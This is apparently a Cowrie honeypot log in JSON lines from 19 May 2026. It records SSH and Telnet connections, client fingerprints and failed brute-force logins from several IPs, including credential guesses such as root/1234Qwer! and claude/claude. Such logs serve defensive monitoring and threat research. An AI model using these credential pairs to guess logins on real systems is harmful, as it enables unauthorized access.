{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43084,"dst_ip":"10.17.0.5","dst_port":23,"session":"73be68ecaa05","protocol":"telnet","message":"New connection: 192.119.13.58:43084 (10.17.0.5:23) [session: 73be68ecaa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:51.770569Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44928,"dst_ip":"10.17.0.5","dst_port":23,"session":"8537b94de727","protocol":"telnet","message":"New connection: 192.119.13.58:44928 (10.17.0.5:23) [session: 8537b94de727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:52.366543Z"}
{"eventid":"cowrie.session.closed","duration":35.25608277320862,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:53.713531Z","src_ip":"192.119.13.58","session":"ba176300ba0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56316,"dst_ip":"10.17.0.5","dst_port":23,"session":"be4ecb8a4a10","protocol":"telnet","message":"New connection: 192.119.13.58:56316 (10.17.0.5:23) [session: be4ecb8a4a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:57.707099Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":53418,"dst_ip":"159.203.135.109","dst_port":22,"session":"2398aa503db6","protocol":"ssh","message":"New connection: 103.210.22.17:53418 (159.203.135.109:22) [session: 2398aa503db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:00.100631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:00.109434Z","src_ip":"103.210.22.17","session":"2398aa503db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:00.331125Z","src_ip":"103.210.22.17","session":"2398aa503db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":49656,"dst_ip":"159.203.135.109","dst_port":22,"session":"e40c4e465c80","protocol":"ssh","message":"New connection: 43.135.129.144:49656 (159.203.135.109:22) [session: e40c4e465c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:00.767434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:00.772990Z","src_ip":"43.135.129.144","session":"e40c4e465c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:00.843144Z","src_ip":"43.135.129.144","session":"e40c4e465c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Qwer!","message":"login attempt [root/1234Qwer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:01.151261Z","src_ip":"43.135.129.144","session":"e40c4e465c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:01.248824Z","src_ip":"103.210.22.17","session":"2398aa503db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00291109085083,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:02.081685Z","src_ip":"186.195.16.41","session":"42b3e1d76af9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:02.225467Z","src_ip":"43.135.129.144","session":"e40c4e465c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:02.479970Z","src_ip":"103.210.22.17","session":"2398aa503db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44342,"dst_ip":"10.17.0.5","dst_port":23,"session":"70f604f1d369","protocol":"telnet","message":"New connection: 192.119.13.58:44342 (10.17.0.5:23) [session: 70f604f1d369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:03.616688Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":54144,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae516987a525","protocol":"ssh","message":"New connection: 147.45.197.250:54144 (159.203.135.109:22) [session: ae516987a525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:07.023554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:07.028923Z","src_ip":"147.45.197.250","session":"ae516987a525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:07.122806Z","src_ip":"147.45.197.250","session":"ae516987a525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw123456","message":"login attempt [root/qw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:07.406986Z","src_ip":"147.45.197.250","session":"ae516987a525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:08.506800Z","src_ip":"147.45.197.250","session":"ae516987a525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37672,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0e6463ce5d","protocol":"telnet","message":"New connection: 192.119.13.58:37672 (10.17.0.5:23) [session: 6c0e6463ce5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:09.322780Z"}
{"eventid":"cowrie.session.closed","duration":36.013795614242554,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:09.856680Z","src_ip":"192.119.13.58","session":"731a8fbbe126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35570,"dst_ip":"10.17.0.5","dst_port":23,"session":"05daadffeb2b","protocol":"telnet","message":"New connection: 192.119.13.58:35570 (10.17.0.5:23) [session: 05daadffeb2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:15.113482Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":56472,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d9b9cefe148","protocol":"ssh","message":"New connection: 43.135.182.46:56472 (159.203.135.109:22) [session: 4d9b9cefe148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:16.522478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:16.527518Z","src_ip":"43.135.182.46","session":"4d9b9cefe148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:16.596755Z","src_ip":"43.135.182.46","session":"4d9b9cefe148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killme","message":"login attempt [root/killme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:16.908560Z","src_ip":"43.135.182.46","session":"4d9b9cefe148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":48026,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ca419a9181","protocol":"ssh","message":"New connection: 43.153.104.156:48026 (10.17.0.5:22) [session: 57ca419a9181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:16.917439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:16.929996Z","src_ip":"43.153.104.156","session":"57ca419a9181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:16.998793Z","src_ip":"43.153.104.156","session":"57ca419a9181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Galaxy@123","message":"login attempt [root/Galaxy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:17.303634Z","src_ip":"43.153.104.156","session":"57ca419a9181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:17.980363Z","src_ip":"43.135.182.46","session":"4d9b9cefe148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:18.374036Z","src_ip":"43.153.104.156","session":"57ca419a9181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":52582,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca1ccf3f70c0","protocol":"ssh","message":"New connection: 77.94.47.83:52582 (159.203.135.109:22) [session: ca1ccf3f70c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:19.058976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:19.063717Z","src_ip":"77.94.47.83","session":"ca1ccf3f70c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:19.191386Z","src_ip":"77.94.47.83","session":"ca1ccf3f70c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vjqgfhjkm","message":"login attempt [root/vjqgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:19.570146Z","src_ip":"77.94.47.83","session":"ca1ccf3f70c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52606,"dst_ip":"10.17.0.5","dst_port":23,"session":"b56c95e108d5","protocol":"telnet","message":"New connection: 192.119.13.58:52606 (10.17.0.5:23) [session: b56c95e108d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:20.267390Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:20.697758Z","src_ip":"77.94.47.83","session":"ca1ccf3f70c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51732,"dst_ip":"10.17.0.5","dst_port":22,"session":"640650b8d774","protocol":"ssh","message":"New connection: 80.94.92.184:51732 (10.17.0.5:22) [session: 640650b8d774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:25.124105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:25.193395Z","src_ip":"80.94.92.184","session":"640650b8d774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:25.323814Z","src_ip":"80.94.92.184","session":"640650b8d774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41358,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e23b153dcdc","protocol":"telnet","message":"New connection: 192.119.13.58:41358 (10.17.0.5:23) [session: 8e23b153dcdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:25.898168Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:26.155146Z","src_ip":"80.94.92.184","session":"640650b8d774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:28.994498Z","src_ip":"80.94.92.184","session":"640650b8d774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53240,"dst_ip":"10.17.0.5","dst_port":23,"session":"216103da4ed4","protocol":"telnet","message":"New connection: 192.119.13.58:53240 (10.17.0.5:23) [session: 216103da4ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:30.004993Z"}
{"eventid":"cowrie.session.closed","duration":39.3054404258728,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:31.671634Z","src_ip":"192.119.13.58","session":"8537b94de727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":36356,"dst_ip":"159.203.135.109","dst_port":22,"session":"8088ba54844b","protocol":"ssh","message":"New connection: 103.166.103.173:36356 (159.203.135.109:22) [session: 8088ba54844b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:32.989568Z"}
